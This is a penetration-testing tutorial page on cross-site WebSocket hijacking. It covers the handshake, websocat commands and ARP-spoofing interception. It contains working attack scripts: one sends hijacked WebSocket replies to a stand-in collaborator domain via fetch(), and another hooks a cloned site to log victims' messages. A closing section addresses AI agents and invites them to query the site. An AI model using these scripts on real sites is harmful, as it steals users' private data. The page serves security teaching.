# Cross-site WebSocket hijacking (CSWSH)

## What are WebSockets

WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\
WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data.

### How are WebSocket connections established?

WebSocket connections are normally created using client-side JavaScript like the following:

```
var ws = new WebSocket("wss://normal-website.com/chat");
```

The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection.

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:

```
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

If the server accepts the connection, it returns a WebSocket handshake response like the following:

```
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

At this point, the network connection remains open and can be used to send WebSocket messages in either direction.

**Note**

Several **features** of the WebSocket **handshake** messages are worth noting:

* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**.
* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`.
* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request.
* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** (*It's not a CSRF token*).

#### Linux console

You can use `websocat` to stablish a raw connection with a websocket.

```
websocat --insecure wss://10.10.10.10:8000 -v
```

Or to create a websocat server:

```
websocat -s 0.0.0.0:8000 #Listen in port 8000
```

### MitM websocket connections

If you find that clients are connection to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](https://github.com/carlospolop/hacktricks/blob/master/pentesting/pentesting-network/#arp-spoofing)to perform a MitM attack between the client and the server.\
Once the client is trying to connect to you you can use:

```
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```

### Cross-site WebSocket hijacking (CSWSH)

Also known as *cross-origin WebSocket hijacking*.\
**It is a** [**Cross-Site Request Forgery (CSRF)**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/csrf-cross-site-request-forgery.md) **on a WebSocket handshake.**

It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.\
An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application.

#### Simple Attack

This attack allows you to make the client connect to websocket server and send some predefined value.

```
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```

Usually this will be useless as what you want is to get the information the real user is sending and the responses.

#### Stealing data from user

Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:

```
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}
```

Now download the `wsHook.js` file from <https://github.com/skepticfx/wshook> and **save it inside the folder with the web files**.\
Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:

```
sudo python3 -m http.server 80
```

### Other vulnerabilities

As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**

### References

{% embed url="[https://portswigger.net/web-security/websockets\\#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets%5C#intercepting-and-modifying-websocket-messages)" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n3t-hunt3r.gitbook.io/pentest-book/web-application-pentesting/cross-site-websocket-hijacking-cswsh.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
